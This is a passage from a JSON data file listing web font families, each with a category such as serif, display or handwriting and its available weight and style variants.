Apple","category":"handwriting","variants":["regular"]},{"family":"Scada","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Jura","category":"sans-serif","variants":["300","regular","500","600"]},{"family":"Antic","category":"sans-serif","variants":["regular"]},{"family":"Gochi Hand","category":"handwriting","variants":["regular"]},{"family":"Sarala","category":"sans-serif","variants":["regular","700"]},{"family":"Electrolize","category":"sans-serif","variants":["regular"]},{"family":"Sigmar One","category":"display","variants":["regular"]},{"family":"Candal","category":"sans-serif","variants":["regular"]},{"family":"Prata","category":"serif","variants":["regular"]},{"family":"Homenaje","category":"sans-serif","variants":["regular"]},{"family":"Pinyon Script","category":"handwriting","variants":["regular"]},{"family":"Unica One","category":"display","variants":["regular"]},{"family":"Basic","category":"sans-serif","variants":["regular"]},{"family":"Neucha","category":"handwriting","variants":["regular"]},{"family":"Convergence","category":"sans-serif","variants":["regular"]},{"family":"Molengo","category":"sans-serif","variants":["regular"]},{"family":"Caveat Brush","category":"handwriting","variants":["regular"]},{"family":"Monoton","category":"display","variants":["regular"]},{"family":"Calligraffitti","category":"handwriting","variants":["regular"]},{"family":"Kameron","category":"serif","variants":["regular","700"]},{"family":"Share","category":"display","variants":["regular","italic","700","700italic"]},{"family":"Alegreya Sans SC","category":"sans-serif","variants":["100","100italic","300","300italic","regular","italic","500","500italic","700","700italic","800","800italic","900","900italic"]},{"family":"Enriqueta","category":"serif","variants":["regular","700"]},{"family":"Martel","category":"serif","variants":["200","300","regular","600","700","800","900"]},{"family":"Black Ops One","category":"display","variants":["regular"]},{"family":"Just Another Hand","category":"handwriting","variants":["regular"]},{"family":"Caveat","category":"handwriting","variants":["regular","700"]},{"family":"PT Serif Caption","category":"serif","variants":["regular","italic"]},{"family":"Ultra","category":"serif","variants":["regular"]},{"family":"Ubuntu Mono","category":"monospace","variants":["regular","italic","700","700italic"]},{"family":"Carme","category":"sans-serif","variants":["regular"]},{"family":"Cousine","category":"monospace","variants":["regular","italic","700","700italic"]},{"family":"Cherry Cream Soda","category":"display","variants":["regular"]},{"family":"Reenie Beanie","category":"handwriting","variants":["regular"]},{"family":"Hind Siliguri","category":"sans-serif","variants":["300","regular","500","600","700"]},{"family":"Bubblegum Sans","category":"display","variants":["regular"]},{"family":"Aldrich","category":"sans-serif","variants":["regular"]},{"family":"Lustria","category":"serif","variants":["regular"]},{"family":"Alef","category":"sans-serif","variants":["regular","700"]},{"family":"Freckle Face","category":"display","variants":["regular"]},{"family":"Fanwood Text","category":"serif","variants":["regular","italic"]},{"family":"Advent Pro","category":"sans-serif","variants":["100","200","300","regular","500","600","700"]},{"family":"Allura","category":"handwriting","variants":["regular"]},{"family":"Ceviche One","category":"display","variants":["regular"]},{"family":"Press Start 2P","category":"display","variants":["regular"]},{"family":"Overlock","category":"display","variants":["regular","italic","700","700italic","900","900italic"]},{"family":"Niconne","category":"handwriting","variants":["regular"]},{"family":"Limelight","category":"display","variants":["regular"]},{"family":"Frank Ruhl Libre","category":"sans-serif","variants":["300","regular","500","700","900"]},{"family":"Allerta Stencil","category":"sans-serif","variants":["regular"]},{"family":"Marcellus","category":"serif","variants":["regular"]},{"family":"Pragati Narrow","category":"sans-serif","variants":["regular","700"]},{"family":"Michroma","category":"sans-serif","variants":["regular"]},{"family":"Fauna One","category":"serif","variants":["regular"]},{"family":"Syncopate","category":"sans-serif","variants":["regular","700"]},{"family":"Telex","category":"sans-serif","variants":["regular"]},{"family":"Marvel","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Cabin Sketch","category":"display","variants":["regular","700"]},{"family":"Hanuman","category":"serif","variants":["regular","700"]},{"family":"Cairo","category":"sans-serif","variants":["200","300","regular","600","700","900"]},{"family":"Chivo","category":"sans-serif","variants":["300","300italic","regular","italic","700","700italic","900","900italic"]},{"family":"Allerta","category":"sans-serif","variants":["regular"]},{"family":"Fugaz One","category":"display","variants":["regular"]},{"family":"Viga","category":"sans-serif","variants":["regular"]},{"family":"Ruslan Display","category":"display","variants":["regular"]},{"family":"Nixie One","category":"display","variants":["regular"]},{"family":"Marmelad","category":"sans-serif","variants":["regular"]},{"family":"Average","category":"serif","variants":["regular"]},{"family":"Spinnaker","category":"sans-serif","variants":["regular"]},{"family":"Leckerli One","category":"handwriting","variants":["regular"]},{"family":"Judson","category":"serif","variants":["regular","italic","700"]},{"family":"Lusitana","category":"serif","variants":["regular","700"]},{"family":"Montserrat Alternates","category":"sans-serif","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"]},{"family":"Contrail One","category":"display","variants":["regular"]},{"family":"Oranienbaum","category":"serif","variants":["regular"]},{"family":"Hind Vadodara","category":"sans-serif","variants":["300","regular","500","600","700"]},{"family":"Rufina","category":"serif","variants":["regular","700"]},{"family":"Quantico","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Concert One","category":"display","variants":["regular"]},{"family":"Marcellus SC","category":"serif","variants":["regular"]},{"family":"Jockey One","category":"sans-serif","variants":["regular"]},{"family":"Parisienne","category":"handwriting","variants":["regular"]},{"family":"Carter One","category":"display","variants":["regular"]},{"family":"Arbutus Slab","category":"serif","variants":["regular"]},{"family":"Slabo 13px","category":"serif","variants":["regular"]},{"family":"Tauri","category":"sans-serif","variants":["regular"]},{"family":"Goudy Bookletter 1911","category":"serif","variants":["regular"]},{"family":"Carrois Gothic","category":"sans-serif","variants":["regular"]},{"family":"Sue Ellen Francisco","category":"handwriting","variants":["regular"]},{"family":"Walter Turncoat","category":"handwriting","variants":["regular"]},{"family":"Annie Use Your Telescope","category":"handwriting","variants":["regular"]},{"family":"Puritan","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Grand Hotel","category":"handwriting","variants":["regular"]},{"family":"Yesteryear","category":"handwriting","variants":["regular"]},{"family":"Jaldi","category":"sans-serif","variants":["regular","700"]},{"family":"Khula","category":"sans-serif","variants":["300","regular","600","700","800"]},{"family":"Cinzel Decorative","category":"display","variants":["regular","700","900"]},{"family":"Crafty Girls","category":"handwriting","variants":["regular"]},{"family":"Merienda","category":"handwriting","variants":["regular","700"]},{"family":"Hind Guntur","category":"sans-serif","variants":["300","regular","500","600","700"]},{"family":"Cutive","category":"serif","variants":["regular"]},{"family":"Prompt","category":"sans-serif","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"]},{"family":"Coustard","category":"serif","variants":["regular","900"]},{"family":"Arima Madurai","category":"display","variants":["100","200","300","regular","500","700","800","900"]},{"family":"Doppio One","category":"sans-serif","variants":["regular"]},{"family":"Radley","category":"serif","variants":["regular","italic"]},{"family":"Fontdiner Swanky","category":"display","variants":["regular"]},{"family":"Iceland","category":"display","variants":["regular"]},{"family":"Alegreya SC","category":"serif","variants":["regular","italic","700","700italic","900","900italic"]},{"family":"Halant","category":"serif","variants":["300","regular","500","600","700"]},{"family":"Schoolbell","category":"handwriting","variants":["regular"]},{"family":"Waiting for the Sunrise","category":"handwriting","variants":["regular"]},{"family":"Italianno","category":"handwriting","variants":["regular"]},{"family":"Fredericka the Great","category":"display","variants":["regular"]},{"family":"Average Sans","category":"sans-serif","variants":["regular"]},{"family":"Rosario","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Mr Dafoe","category":"handwriting","variants":["regular"]},{"family":"Port Lligat Slab","category":"serif","variants":["regular"]},{"family":"Aclonica","category":"sans-serif","variants":["regular"]},{"family":"Graduate","category":"display","variants":["regular"]},{"family":"Racing Sans One","category":"display","variants":["regular"]},{"family":"Berkshire Swash","category":"handwriting","variants":["regular"]},{"family":"Forum","category":"display","variants":["regular"]},{"family":"Anonymous Pro","category":"monospace","variants":["regular","italic","700","700italic"]},{"family":"Love Ya Like A Sister","category":"display","variants":["regular"]},{"family":"Nunito Sans","category":"sans-serif","variants":["200","200italic","300","300italic","regular","italic","600","600italic","700","700italic","800","800italic","900","900italic"]},{"family":"Magra","category":"sans-serif","variants":["regular","700"]},{"family":"Lateef","category":"handwriting","variants":["regular"]},{"family":"Assistant","category":"sans-serif","variants":["200","300","regular","600","700","800"]},{"family":"Six Caps","category":"sans-serif","variants":["regular"]},{"family":"Gilda Display","category":"serif","variants":["regular"]},{"family":"Oregano","category":"display","variants":["regular","italic"]},{"family":"Metrophobic","category":"sans-serif","variants":["regular"]},{"family":"Lalezar","category":"display","variants":["regular"]},{"family":"Caudex","category":"serif","variants":["regular","italic","700","700italic"]},{"family":"Kelly Slab","category":"display","variants":["regular"]},{"family":"Reem Kufi","category":"sans-serif","variants":["regular"]},{"family":"Cambay","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Gruppo","category":"display","variants":["regular"]},{"family":"Give You Glory","category":"handwriting","variants":["regular"]},{"family":"GFS Didot","category":"serif","variants":["regular"]},{"family":"Duru Sans","category":"sans-serif","variants":["regular"]},{"family":"Andika","category":"sans-serif","variants":["regular"]},{"family":"Tenor Sans","category":"sans-serif","variants":["regular"]},{"family":"Knewave","category":"display","variants":["regular"]},{"family":"Averia Serif Libre","category":"display","variants":["300","300italic","regular","italic","700","700italic"]},{"family":"Eczar","category":"serif","variants":["regular","500","600","700","800"]},{"family":"Inder","category":"sans-serif","variants":["regular"]},{"family":"Martel Sans","category":"sans-serif","variants":["200","300","regular","600","700","800","900"]},{"family":"Trocchi","category":"serif","variants":["regular"]},{"family":"Wire One","category":"sans-serif","variants":["regular"]},{"family":"Petit Formal Script","category":"handwriting","variants":["regular"]},{"family":"Mako","category":"sans-serif","variants":["regular"]},{"family":"Frijole","category":"display","variants":["regular"]},{"family":"Zeyada","category":"handwriting","variants":["regular"]},{"family":"Slackey","category":"display","variants":["regular"]},{"family":"Karma","category":"serif","variants":["300","regular","500","600","700"]},{"family":"Mate","category":"serif","variants":["regular","italic"]},{"family":"Belleza","category":"sans-serif","variants":["regular"]},{"family":"Montez","category":"handwriting","variants":["regular"]},{"family":"Quando","category":"serif","variants":["regular"]},{"family":"Capriola","category":"sans-serif","variants":["regular"]},{"family":"Lilita One","category":"display","variants":["regular"]},{"family":"Trirong","category":"serif","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"]},{"family":"Lekton","category":"sans-serif","variants":["regular","italic","700"]},{"family":"Just Me Again Down Here","category":"handwriting","variants":["regular"]},{"family":"Bowlby One SC","category":"display","variants":["regular"]},{"family":"The Girl Next Door","category":"handwriting","variants":["regular"]},{"family":"Happy Monkey","category":"display","variants":["regular"]},{"family":"Merienda One","category":"handwriting","variants":["regular"]},{"family":"Alike","category":"serif","variants":["regular"]},{"family":"Chelsea Market","category":"display","variants":["regular"]},{"family":"Unkempt","category":"display","variants":["regular","700"]},{"family":"Anaheim","category":"sans-serif","variants":["regular"]},{"family":"Strait","category":"sans-serif","variants":["regular"]},{"family":"Brawler","category":"serif","variants":["regular"]},{"family":"Clicker Script","category":"handwriting","variants":["regular"]},{"family":"Delius","category":"handwriting","variants":["regular"]},{"family":"Mouse Memoirs","category":"sans-serif","variants":["regular"]},{"family":"IM Fell Double Pica","category":"serif","variants":["regular","italic"]},{"family":"Crushed","category":"display","variants":["regular"]},{"family":"Rammetto One","category":"display","variants":["regular"]},{"family":"Prosto One","category":"display","variants":["regular"]},{"family":"Kranky","category":"display","variants":["regular"]},{"family":"IM Fell English","category":"serif","variants":["regular","italic"]},{"family":"Aladin","category":"handwriting","variants":["regular"]},{"family":"Mr De Haviland","category":"handwriting","variants":["regular"]},{"family":"NTR","category":"sans-serif","variants":["regular"]},{"family":"Londrina Solid","category":"display","variants":["regular"]},{"family":"Skranji","category":"display","variants":["regular","700"]},{"family":"Allan","category":"display","variants":["regular","700"]},{"family":"Baumans","category":"display","variants":["regular"]},{"family":"Ovo","category":"serif","variants":["regular"]},{"family":"Changa","category":"sans-serif","variants":["200","300","regular","500","600","700","800"]},{"family":"Lemon","category":"display","variants":["regular"]},{"family":"Federo","category":"sans-serif","variants":["regular"]},{"family":"Herr Von Muellerhoff","category":"handwriting","variants":["regular"]},{"family":"Arizonia","category":"handwriting","variants":["regular"]},{"family":"Bowlby One","category":"display","variants":["regular"]},{"family":"Orienta","category":"sans-serif","variants":["regular"]},{"family":"Short Stack","category":"handwriting","variants":["regular"]},{"family":"Bungee Inline","category":"display","variants":["regular"]},{"family":"Andada","category":"serif","variants":["regular"]},{"family":"Baloo Paaji","category":"display","variants":["regular"]},{"family":"Oxygen Mono","category":"monospace","variants":["regular"]},{"family":"Yeseva One","category":"display","variants":["regular"]},{"family":"UnifrakturMaguntia","category":"display","variants":["regular"]},{"family":"Bentham","category":"serif","variants":["regular"]},{"family":"Londrina Outline","category":"display","variants":["regular"]},{"family":"Pompiere","category":"display","variants":["regular"]},{"family":"Gabriela","category":"serif","variants":["regular"]},{"family":"Qwigley","category":"handwriting","variants":["regular"]},{"family":"Nova Square","category":"display","variants":["regular"]},{"family":"Poly","category":"serif","variants":["regular","italic"]},{"family":"Sniglet","category":"display","variants":["regular","800"]},{"family":"Patrick Hand SC","category":"handwriting","variants":["regular"]},{"family":"Gravitas One","category":"display","variants":["regular"]},{"family":"Khmer","category":"display","variants":["regular"]},{"family":"Shojumaru","category":"display","variants":["regular"]},{"family":"Kurale","category":"serif","variants":["regular"]},{"family":"Gafata","category":"sans-serif","variants":["regular"]},{"family":"Biryani","category":"sans-serif","variants":["200","300","regular","600","700","800","900"]},{"family":"Cambo","category":"serif","variants":["regular"]},{"family":"Titan One","category":"display","variants":["regular"]},{"family":"Carrois Gothic SC","category":"sans-serif","variants":["regular"]},{"family":"La Belle Aurore","category":"handwriting","variants":["regular"]},{"family":"Holtwood One SC","category":"serif","variants":["regular"]},{"family":"Oleo Script Swash Caps","category":"display","variants":["regular","700"]},{"family":"Headland One","category":"serif","variants":["regular"]},{"family":"Cherry Swash","category":"display","variants":["regular","700"]},{"family":"Belgrano","category":"serif","variants":["regular"]},{"family":"Norican","category":"handwriting","variants":["regular"]},{"family":"Mountains of Christmas","category":"display","variants":["regular","700"]},{"family":"Julee","category":"handwriting","variants":["regular"]},{"family":"Ramabhadra","category":"sans-serif","variants":["regular"]},{"family":"Mallanna","category":"sans-serif","variants":["regular"]},{"family":"Kristi","category":"handwriting","variants":["regular"]},{"family":"Imprima","category":"sans-serif","variants":["regular"]},{"family":"Lily Script One","category":"display","variants":["regular"]},{"family":"Chau Philomene One","category":"sans-serif","variants":["regular","italic"]},{"family":"Bilbo Swash Caps","category":"handwriting","variants":["regular"]},{"family":"Finger Paint","category":"display","variants":["regular"]},{"family":"Voces","category":"display","variants":["regular"]},{"family":"Itim","category":"handwriting","variants":["regular"]},{"family":"Megrim","category":"display","variants":["regular"]},{"family":"Simonetta","category":"display","variants":["regular","italic","900","900italic"]},{"family":"Cutive Mono","category":"monospace","variants":["regular"]},{"family":"Stardos Stencil","category":"display","variants":["regular","700"]},{"family":"IM Fell DW Pica","category":"serif","variants":["regular","italic"]},{"family":"Unna","category":"serif","variants":["regular","italic","700","700italic"]},{"family":"Loved by the King","category":"handwriting","variants":["regular"]},{"family":"Prociono","category":"serif","variants":["regular"]},{"family":"Corben","category":"display","variants":["regular","700"]},{"family":"Amiko","category":"sans-serif","variants":["regular","600","700"]},{"family":"Denk One","category":"sans-serif","variants":["regular"]},{"family":"Palanquin","category":"sans-serif","variants":["100","200","300","regular","500","600","700"]},{"family":"Baloo","category":"display","variants":["regular"]},{"family":"Fondamento","category":"handwriting","variants":["regular","italic"]},{"family":"Seaweed Script","category":"display","variants":["regular"]},{"family":"Shanti","category":"sans-serif","variants":["regular"]},{"family":"Wendy One","category":"sans-serif","variants":["regular"]},{"family":"Raleway Dots","category":"display","variants":["regular"]},{"family":"Amethysta","category":"serif","variants":["regular"]},{"family":"Vast Shadow","category":"display","variants":["regular"]},{"family":"Stalemate","category":"handwriting","variants":["regular"]},{"family":"Fira Mono","category":"monospace","variants":["regular","500","700"]},{"family":"Expletus Sans","category":"display","variants":["regular","italic","500","500italic","600","600italic","700","700italic"]},{"family":"Scheherazade","category":"serif","variants":["regular","700"]},{"family":"Fenix","category":"serif","variants":["regular"]},{"family":"Delius Swash Caps","category":"handwriting","variants":["regular"]},{"family":"Rouge Script","category":"handwriting","variants":["regular"]},{"family":"Life Savers","category":"display","variants":["regular","700"]},{"family":"IM Fell English SC","category":"serif","variants":["regular"]},{"family":"Meddon","category":"handwriting","variants":["regular"]},{"family":"Tienne","category":"serif","variants":["regular","700","900"]},{"family":"Over the Rainbow","category":"handwriting","variants":["regular"]},{"family":"Share Tech Mono","category":"monospace","variants":["regular"]},{"family":"Abhaya Libre","category":"serif","variants":["regular","500","600","700","800"]},{"family":"Kotta One","category":"serif","variants":["regular"]},{"family":"Pridi","category":"serif","variants":["200","300","regular","500","600","700"]},{"family":"Euphoria Script","category":"handwriting","variants":["regular"]},{"family":"Engagement","category":"handwriting","variants":["regular"]},{"family":"Podkova","category":"serif","variants":["regular","500","600","700","800"]},{"family":"Salsa","category":"display","variants":["regular"]},{"family":"Sofia","category":"handwriting","variants":["regular"]},{"family":"Suranna","category":"serif","variants":["regular"]},{"family":"Mada","category":"sans-serif","variants":["300","regular","500","900"]},{"family":"Chonburi","category":"display","variants":["regular"]},{"family":"Ledger","category":"serif","variants":["regular"]},{"family":"Italiana","category":"serif","variants":["regular"]},{"family":"Dawning of a New Day","category":"handwriting","variants":["regular"]},{"family":"Nokora","category":"serif","variants":["regular","700"]},{"family":"Angkor","category":"display","variants":["regular"]},{"family":"Medula One","category":"display","variants":["regular"]},{"family":"Taviraj","category":"serif","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"]},{"family":"Vampiro One","category":"display","variants":["regular"]},{"family":"Englebert","category":"sans-serif","variants":["regular"]},{"family":"Nova Mono","category":"monospace","variants":["regular"]},{"family":"Dorsa","category":"sans-serif","variants":["regular"]},{"family":"Averia Sans Libre","category":"display","variants":["300","300italic","regular","italic","700","700italic"]},{"family":"Cedarville Cursive","category":"handwriting","variants":["regular"]},{"family":"Geo","category":"sans-serif","variants":["regular","italic"]},{"family":"Rationale","category":"sans-serif","variants":["regular"]},{"family":"Balthazar","category":"serif","variants":["regular"]},{"family":"Sunshiney","category":"handwriting","variants":["regular"]},{"family":"Aguafina Script","category":"handwriting","variants":["regular"]},{"family":"Mystery Quest","category":"display","variants":["regular"]},{"family":"Fjord One","category":"serif","variants":["regular"]},{"family":"Fira Sans Extra Condensed","category":"sans-serif","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"]},{"family":"Kadwa","category":"serif","variants":["regular","700"]},{"family":"McLaren","category":"display","variants":["regular"]},{"family":"Rye","category":"display","variants":["regular"]},{"family":"Sail","category":"display","variants":["regular"]},{"family":"Athiti","category":"sans-serif","variants":["200","300","regular","500","600","700"]},{"family":"Rosarivo","category":"serif","variants":["regular","italic"]},{"family":"Kite One","category":"sans-serif","variants":["regular"]},{"family":"Odor Mean Chey","category":"display","variants":["regular"]},{"family":"Numans","category":"sans-serif","variants":["regular"]},{"family":"Artifika","category":"serif","variants":["regular"]},{"family":"Poller One","category":"display","variants":["regular"]},{"family":"Gurajada","category":"serif","variants":["regular"]},{"family":"Inika","category":"serif","variants":["regular","700"]},{"family":"Mandali","category":"sans-serif","variants":["regular"]},{"family":"Bungee Shade","category":"display","variants":["regular"]},{"family":"Suwannaphum","category":"display","variants":["regular"]},{"family":"Mate SC","category":"serif","variants":["regular"]},{"family":"Creepster","category":"display","variants":["regular"]},{"family":"Arsenal","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Montserrat Subrayada","category":"sans-serif","variants":["regular","700"]},{"family":"Metamorphous","category":"display","variants":["regular"]},{"family":"Palanquin Dark","category":"sans-serif","variants":["regular","500","600","700"]},{"family":"Coda Caption","category":"sans-serif","variants":["800"]},{"family":"Dynalight","category":"display","variants":["regular"]},{"family":"Maitree","category":"serif","variants":["200","300","regular","500","600","700"]},{"family":"IM Fell French Canon","category":"serif","variants":["regular","italic"]},{"family":"Amarante","category":"display","variants":["regular"]},{"family":"Quintessential","category":"handwriting","variants":["regular"]},{"family":"Codystar","category":"display","variants":["300","regular"]},{"family":"Cantora One","category":"sans-serif","variants":["regular"]},{"family":"Aref Ruqaa","category":"serif","variants":["regular","700"]},{"family":"Griffy","category":"display","variants":["regular"]},{"family":"Revalia","category":"display","variants":["regular"]},{"family":"Buenard","category":"serif","variants":["regular","700"]},{"family":"Donegal One","category":"serif","variants":["regular"]},{"family":"IM Fell DW Pica SC","category":"serif","variants":["regular"]},{"family":"Habibi","category":"serif","variants":["regular"]},{"family":"Share Tech","category":"sans-serif","variants":["regular"]},{"family":"Flamenco","category":"display","variants":["300","regular"]},{"family":"Mitr","category":"sans-serif","variants":["200","300","regular","500","600","700"]},{"family":"Maiden Orange","category":"display","variants":["regular"]},{"family":"Diplomata SC","category":"display","variants":["regular"]},{"family":"Cormorant","category":"serif","variants":["300","300italic","regular","italic","500","500italic","600","600italic","700","700italic"]},{"family":"Delius Unicase","category":"handwriting","variants":["regular","700"]},{"family":"Stoke","category":"serif","variants":["300","regular"]},{"family":"Vibur","category":"handwriting","variants":["regular"]},{"family":"Sarpanch","category":"sans-serif","variants":["regular","500","600","700","800","900"]},{"family":"Baloo Bhaina","category":"display","variants":["regular"]},{"family":"Baloo Tamma","category":"display","variants":["regular"]},{"family":"Averia Libre","category":"display","variants":["300","300italic","regular","italic","700","700italic"]},{"family":"Esteban","category":"serif","variants":["regular"]},{"family":"Battambang","category":"display","variants":["regular","700"]},{"family":"Bokor","category":"display","variants":["regular"]},{"family":"Wallpoet","category":"display","variants":["regular"]},{"family":"IM Fell Great Primer","category":"serif","variants":["regular","italic"]},{"family":"Tulpen One","category":"display","variants":["regular"]},{"family":"Proza Libre","category":"sans-serif","variants":["regular","italic","500","500italic","600","600italic","700","700italic","800","800italic"]},{"family":"IM Fell French Canon SC","category":"serif","variants":["regular"]},{"family":"Vesper Libre","category":"serif","variants":["regular","500","700","900"]},{"family":"Rozha One","category":"serif","variants":["regular"]},{"family":"Sansita","category":"sans-serif","variants":["regular","italic","700","700italic","800","800italic","900","900italic"]},{"family":"Kavoon","category":"display","variants":["regular"]},{"family":"Della Respira","category":"serif","variants":["regular"]},{"family":"Milonga","category":"display","variants":["regular"]},{"family":"Condiment","category":"handwriting","variants":["regular"]},{"family":"Junge","category":"serif","variants":["regular"]},{"family":"New Rocker","category":"display","variants":["regular"]},{"family":"Chicle","category":"display","variants":["regular"]},{"family":"Mrs Saint Delafield","category":"handwriting","variants":["regular"]},{"family":"League Script","category":"handwriting","variants":["regular"]},{"family":"Miniver","category":"display","variants":["regular"]},{"family":"Galindo","category":"display","variants":["regular"]},{"family":"Moul","category":"display","variants":["regular"]},{"family":"Amatica SC","category":"display","variants":["regular","700"]},{"family":"Stint Ultra Expanded","category":"display","variants":["regular"]},{"family":"Yrsa","category":"serif","variants":["300","regular","500","600","700"]},{"family":"Stint Ultra Condensed","category":"display","variants":["regular"]},{"family":"Suez One","category":"serif","variants":["regular"]},{"family":"Text Me One","category":"sans-serif","variants":["regular"]},{"family":"Buda","category":"display","variants":["300"]},{"family":"Ruluko","category":"sans-serif","variants":["regular"]},{"family":"Sonsie One","category":"display","variants":["regular"]},{"family":"Krona One","category":"sans-serif","variants":["regular"]},{"family":"Elsie","category":"display","variants":["regular","900"]},{"family":"Pangolin","category":"handwriting","variants":["regular"]},{"family":"Linden Hill","category":"serif","variants":["regular","italic"]},{"family":"Secular One","category":"sans-serif","variants":["regular"]},{"family":"IM Fell Double Pica SC","category":"serif","variants":["regular"]},{"family":"Alike Angular","category":"serif","variants":["regular"]},{"family":"Sancreek","category":"display","variants":["regular"]},{"family":"Bilbo","category":"handwriting","variants":["regular"]},{"family":"Antic Didone","category":"serif","variants":["regular"]},{"family":"Paprika","category":"display","variants":["regular"]},{"family":"Asul","category":"sans-serif","variants":["regular","700"]},{"family":"David Libre","category":"serif","variants":["regular","500","700"]},{"family":"Almendra","category":"serif","variants":["regular","italic","700","700italic"]},{"family":"Sriracha","category":"handwriting","variants":["regular"]},{"family":"Miriam Libre","category":"sans-serif","variants":["regular","700"]},{"family":"Ribeye","category":"display","variants":["regular"]},{"family":"Swanky and Moo Moo","category":"handwriting","variants":["regular"]},{"family":"Trade Winds","category":"display","variants":["regular"]},{"family":"Overlock SC","category":"display","variants":["regular"]},{"family":"Nova Round","category":"display","variants":["regular"]},{"family":"Cagliostro","category":"sans-serif","variants":["regular"]},{"family":"Glass Antiqua","category":"display","variants":["regular"]},{"family":"Offside","category":"display","variants":["regular"]},{"family":"El Messiri","category":"sans-serif","variants":["regular","500","600","700"]},{"family":"Bigshot One","category":"display","variants":["regular"]},{"family":"IM Fell Great Primer SC","category":"serif","variants":["regular"]},{"family":"Akronim","category":"display","variants":["regular"]},{"family":"Fira Sans Condensed","category":"sans-serif","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"]},{"family":"Nosifer","category":"display","variants":["regular"]},{"family":"Autour One","category":"display","variants":["regular"]},{"family":"Pirata One","category":"display","variants":["regular"]},{"family":"Port Lligat Sans","category":"sans-serif","variants":["regular"]},{"family":"Scope One","category":"serif","variants":["regular"]},{"family":"Sumana","category":"serif","variants":["regular","700"]},{"family":"Lemonada","category":"display","variants":["300","regular","600","700"]},{"family":"Montaga","category":"serif","variants":["regular"]},{"family":"Iceberg","category":"display","variants":["regular"]},{"family":"Ruthie","category":"handwriting","variants":["regular"]},{"family":"Content","category":"display","variants":["regular","700"]},{"family":"Henny Penny","category":"display","variants":["regular"]},{"family":"Nova Slim","category":"display","variants":["regular"]},{"family":"Hind Madurai","category":"sans-serif","variants":["300","regular","500","600","700"]},{"family":"Harmattan","category":"sans-serif","variants":["regular"]},{"family":"UnifrakturCook","category":"display","variants":["700"]},{"family":"Sarina","category":"display","variants":["regular"]},{"family":"Bubbler One","category":"sans-serif","variants":["regular"]},{"family":"Dekko","category":"handwriting","variants":["regular"]},{"family":"Redressed","category":"handwriting","variants":["regular"]},{"family":"Laila","category":"serif","variants":["300","regular","500","600","700"]},{"family":"Faster One","category":"display","variants":["regular"]},{"family":"Arya","category":"sans-serif","variants":["regular","700"]},{"family":"Peralta","category":"display","variants":["regular"]},{"family":"Meie Script","category":"handwriting","variants":["regular"]},{"family":"Overpass","category":"sans-serif","variants":["100","100italic","200","200italic","300","300italic","regular","italic","600","600italic","700","700italic","800","800italic","900","900italic"]},{"family":"Monsieur La Doulaise","category":"handwriting","variants":["regular"]},{"family":"Bungee","category":"display","variants":["regular"]},{"family":"Snippet","category":"sans-serif","variants":["regular"]},{"family":"Emilys Candy","category":"display","variants":["regular"]},{"family":"Trykker","category":"serif","variants":["regular"]},{"family":"MedievalSharp","category":"display","variants":["regular"]},{"family":"Space Mono","category":"monospace","variants":["regular","italic","700","700italic"]},{"family":"Croissant One","category":"display","variants":["regular"]},{"family":"Monofett","category":"display","variants":["regular"]},{"family":"Lovers Quarrel","category":"handwriting","variants":["regular"]},{"family":"Oldenburg","category":"display","variants":["regular"]},{"family":"Galdeano","category":"sans-serif","variants":["regular"]},{"family":"Spicy Rice","category":"display","variants":["regular"]},{"family":"Wellfleet","category":"display","variants":["regular"]},{"family":"Germania One","category":"display","variants":["regular"]},{"family":"GFS Neohellenic","category":"sans-serif","variants":["regular","italic","700","700italic"]},{"family":"Baloo Thambi","category":"display","variants":["regular"]},{"family":"Jolly Lodger","category":"display","variants":["regular"]},{"family":"Rubik Mono One","category":"sans-serif","variants":["regular"]},{"family":"Pattaya","category":"sans-serif","variants":["regular"]},{"family":"Joti One","category":"display","variants":["regular"]},{"family":"Siemreap","category":"display","variants":["regular"]},{"family":"Ranga","category":"display","variants":["regular","700"]},{"family":"Chango","category":"display","variants":["regular"]},{"family":"Miltonian Tattoo","category":"display","variants":["regular"]},{"family":"Koulen","category":"display","variants":["regular"]},{"family":"Eagle Lake","category":"handwriting","variants":["regular"]},{"family":"Nova Flat","category":"display","variants":["regular"]},{"family":"Petrona","category":"serif","variants":["regular"]},{"family":"Jacques Francois","category":"serif","variants":["regular"]},{"family":"Amita","category":"handwriting","variants":["regular","700"]},{"family":"Plaster","category":"display","variants":["regular"]},{"family":"Ramaraja","category":"serif","variants":["regular"]},{"family":"Sura","category":"serif","variants":["regular","700"]},{"family":"Kenia","category":"display","variants":["regular"]},{"family":"Fresca","category":"sans-serif","variants":["regular"]},{"family":"Jomhuria","category":"display","variants":["regular"]},{"family":"Lancelot","category":"display","variants":["regular"]},{"family":"Pavanam","category":"sans-serif","variants":["regular"]},{"family":"Rum Raisin","category":"sans-serif","variants":["regular"]},{"family":"Almendra SC","category":"serif","variants":["regular"]},{"family":"Purple Purse","category":"display","variants":["regular"]},{"family":"Kumar One","category":"display","variants":["regular"]},{"family":"Modern Antiqua","category":"display","variants":["regular"]},{"family":"Piedra","category":"display","variants":["regular"]},{"family":"Irish Grover","category":"display","variants":["regular"]},{"family":"Molle","category":"handwriting","variants":["italic"]},{"family":"Cormorant Infant","category":"serif","variants":["300","300italic","regular","italic","500","500italic","600","600italic","700","700italic"]},{"family":"Margarine","category":"display","variants":["regular"]},{"family":"Sahitya","category":"serif","variants":["regular","700"]},{"family":"Mukta Vaani","category":"sans-serif","variants":["200","300","regular","500","600","700","800"]},{"family":"Astloch","category":"display","variants":["regular","700"]},{"family":"Snowburst One","category":"display","variants":["regular"]},{"family":"Rhodium 